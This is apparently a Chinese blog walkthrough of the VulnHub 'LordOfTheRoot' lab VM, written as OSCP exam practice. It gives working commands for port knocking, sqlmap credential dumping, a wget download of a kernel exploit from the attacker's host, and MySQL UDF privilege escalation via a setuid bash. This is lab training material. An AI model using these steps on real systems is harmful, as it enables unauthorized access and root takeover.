当前位置: 首页 > news >正文

OSCP备战-LordOfTheRoot靶机复现步骤

PDF下载:

Target-practice/Range at main · szjr123/Target-practice

一、靶机描述

靶机地址:https://www.vulnhub.com/entry/lord-of-the-root-101,129/

靶机难度:中等(CTF)

靶机描述:这是KoocSec为黑客练习准备的另一个Boot2Root挑战。他通过OSCP考试的启发准备了这一过程。它基于伟大的小说改制电影《指环王》的概念。

目标:得到root权限&找到flag.txt

直接VM导入靶机,启动靶机

二、信息搜集

1、目标IP获取

得到目标IP:10.10.10.130

2、端口扫描

nmap -p- --min-rate 1000 -T4 10.10.10.130

似乎只开启了22端口吗

端口详细信息扫描

nmap -p22 -sV -sC -A  --min-rate 1000 -T4 10.10.10.130

尝试连接22端口

ssh 10.10.10.130

给出提示:

Easy as 1,2,3

提示port_knocking(端口试探)
端口试探的主要目的是防止攻击者通过对端口扫描的方式对主机进行攻击。
端口试探是一种通过尝试连接,从外部打开原先关闭端口的方法。一旦收到正确顺序的尝试连接,防火墙就会打开一些特定的端口允许尝试连接的主机访问。

尝试连接123端口

安装knock

apt install knockd

使用

knock -v 10.10.10.130 1 2 3

再次进行端口扫描

nmap -p- --min-rate 1000 -T4 10.10.10.130

开放新的端口1337

三、Getshell

访问1337端口

查看源代码没有信息

进行目录扫描

给到三张图片

没什么信息根据图片访问/mordor

源代码发现

THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh

得到新路径

/978345210/index.php

登录框

尝试admin万能密码失败

尝试注入

sqlmap -o -u http://10.10.10.130:1337/978345210/index.php --forms

给出:data: username= &password=*&submit=%20Login%20

sqlmap -o -u http://10.10.10.130:1337/978345210/index.php --forms --dbs

sqlmap -o -u http://10.10.10.130:1337/978345210/index.php --forms -D Webapp --tables

sqlmap -o -u http://10.10.10.130:1337/978345210/index.php --forms -D Webapp -T Users –dump

得到:

frodo | iwilltakethering
smeagol | MyPreciousR00t
aragorn | AndMySword
legolas | AndMyBow
gimli | AndMyAxe

尝试进行ssh连接:

最终只有smeagol | MyPreciousR00t可以成功连接

四、提权

1、内核提权

查看内核:

uname -a

ubuntu 14.04 linux 3.19

wget 10.10.10.128:442/39166.c

2、mysql udf提权

注意:下述操作未做演示,只是讲解一般操作步骤

查看mysql启动权限

查找mysql账号:/var/www/ 978345210/login.php

'root', 'darkshadow'

连接

mysql -u root -p

输入密码后进入

查看mysql版本号

(1)依次执行

select * from mysql.func;#查看可执行函数,若以及有函数直接跳到(7)select version();   # 获取数据库版本

udf提权因数据库版本会不一样

show variables like 'plugin%'; # 查看plugin路径show global variables like '%secure%';  #查看是否有写入权限

当 secure_file_priv 的值没有具体值时,可提权

(2)任选一个数据库创建表单:

CREATE TABLE foo (data LONGBLOB);

(3)将所选择的udf插入表单(同样先利用wget下载kali中自带的(位置:/usr/share/metasploit/mysql/)):

insert into foo values(load_file('/tmp/lib_mysqludf_sys_64.so '));

(4)导出(/usr/lib/mysql/plugin/为plugin位置):

select * from foo into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys_64.so ';

(5)创建函数(这里少数情况会报错,执行(9)):

create function sys_eval returns integer soname 'lib_mysqludf_sys_64.so';

(6)

select * from mysql.func;   #查看函数是否创建成功

(7)

select sys_eval('cp /bin/bash /tmp/bash ; chmod +s /tmp/bash');

(8)回到/tmp/bash执行

/tmp/bash -pwhoami

(9)查看lib_mysqludf_sys_64.so 长度,显示长度为1

ls -l /usr/lib/mysql/plugin/lib_mysqludf_sys_64.so

直接在数据库中进行复制过去

\! cp /tmp/lib_mysqludf_sys_64.so /usr/lib/mysql/plugin

相关文章:

  • UniSAL:用于组织病理学图像分类的统一半监督主动学习方法|文献速递-深度学习医疗AI最新文献
  • 前端工程结构设计指南:如何让模块解耦、易维护、可拓展
  • 京东云 centos vim有操作混乱的问题
  • C/C++ 高频八股文面试题1000题(一)
  • AI 产品的“嵌点”(Embedded Touchpoints)
  • 考研英语作文评分标准专业批改
  • Llama 4模型卡片及提示词模板
  • 简单的 ​Flask​ 后端应用
  • 汽车加气站操作工考试题库含答案【最新】
  • 《棒球青训》打造几个国家级运动基地·棒球1号位
  • 阿里云OSS对象云储存入门操作
  • 【系统规划与管理师第二版】1.3 新一代信息技术及发展
  • [Java] 继承和多态
  • 【Python小练习】3D散点图
  • LeetCode 680.验证回文串 II
  • WinUI3开发_设置标题栏高度
  • .NET 4.7中使用NLog记录日志到数据库表
  • 通过Radius认证服务器实现飞塔/华为防火墙二次认证:原理、实践与安全价值解析
  • 非线性方程组求解:复杂情况下的数值方法
  • JavaScript Symbol 属性详解
  • 建设银行甘肃省行网站/如何网络推广新产品
  • 联想粒子云可以做网站/下载地图导航手机版免流量费用
  • 怎么创建网站快捷方式到桌面/怎么创建网站免费建立个人网站
  • 百度网站评价/旺道seo
  • 不用安装即可玩的游戏/seo黑帽教学网
  • 自己做本地网站/在哪里查关键词排名